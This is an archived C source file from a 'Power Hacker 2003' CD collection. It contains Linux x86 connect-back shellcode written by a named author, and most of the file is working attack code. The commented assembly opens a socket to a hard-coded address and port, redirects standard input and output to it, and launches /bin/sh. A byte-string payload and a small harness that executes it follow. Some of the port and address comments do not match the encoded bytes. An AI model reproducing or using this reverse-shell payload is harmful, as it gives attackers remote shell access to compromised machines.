home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / linux-x86 / connect.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-08-25  |  2.2 KB  |  89 lines

  1. /*
  2. Connecting shellcode written by lamagra <lamagra@digibel.org>
  3. http://lamagra.seKure.de
  4.  
  5. May 2000
  6.  
  7. .file    "connect"
  8. .version    "01.01"
  9. .text
  10.     .align 4
  11. _start:
  12.     #socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  13.     movl %esp,%ebp
  14.     xorl %edx,%edx
  15.     movb $102,%edx
  16.     movl %edx,%eax        # 102 = socketcall
  17.     xorl %ecx,%ecx
  18.     movl %ecx,%ebx
  19.     incl %ebx             # socket()
  20.     movl %ebx, -8(%ebp)    # 1 = SOCK_STREAM
  21.     incl %ebx
  22.     movl %ebx, -12(%ebp)    # 2 = AF_INET
  23.     decl %ebx            # 1 = SYS_socket
  24.     movl %ecx, -4(%ebp)    # 0 = IPPROTO_IP 
  25.     leal -12(%ebp),%ecx    # put args in correct place
  26.     int  $0x80            # switch to kernel-mode
  27.     xorl %ecx,%ecx
  28.     movl %eax,-12(%ebp)    # save the fd
  29.  
  30.     # connect(fd,(struct sockaddr *)&struct,16);
  31.     incl %ebx
  32.     movw %ebx,-20(%ebp)    # 2 = PF_INET
  33.     movw $9999,-18(%ebp)    # 9999 = htons(3879);
  34.     movl $0x100007f,-16(%ebp) # htonl(IP) 
  35.     leal -20(%ebp),%eax    # struct sockaddr
  36.     movl %eax,-8(%ebp)    # load the struct
  37.     movb $16,-4(%ebp)        # 16 = sizeof(sockaddr)
  38.     movl %edx,%eax        # 102 = socketcall
  39.     incl %ebx            # 3 = SYS_connect
  40.     leal -12(%ebp),%ecx    # put args in place
  41.     int  $0x80            # call socketcall()
  42.  
  43.     # dup2(fd,0-1-2)
  44.     xorl %ecx,%ecx
  45.     movb $63,%eax        # 63 = dup2()
  46.     int  $0x80
  47.         incl %ecx
  48.         cmpl $3,%ecx
  49.         jne  -0xa
  50.  
  51.     # arg[0] = "/bin/sh"
  52.     # arg[1] = 0x0
  53.     # execve(arg[0],arg);
  54.     jmp  0x18
  55.     popl %esi
  56.     movl %esi,0x8(%ebp)
  57.     xorl %eax,%eax
  58.     movb %eax,0x7(%esi)
  59.     movl %eax,0xc(%ebp)
  60.     movb $0xb,%al
  61.     movl %esi,%ebx
  62.     leal 0x8(%ebp),%ecx    
  63.     leal 0xc(%ebp),%edx    
  64.     int  $0x80    
  65.     call -0x1d
  66.     .string "/bin/sh"
  67. */
  68.  
  69. #define NAME "connecting"
  70.  
  71. char code[]=
  72. "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  73. "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  74. "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0"
  75. "\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0"
  76. "\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03"
  77. "\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c"
  78. "\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff"
  79. "\xff/bin/sh";
  80.  
  81.  
  82. main()
  83. {
  84.   int (*funct)();
  85.   funct = (int (*)()) code;
  86.   printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
  87.   (int)(*funct)();
  88. }
  89.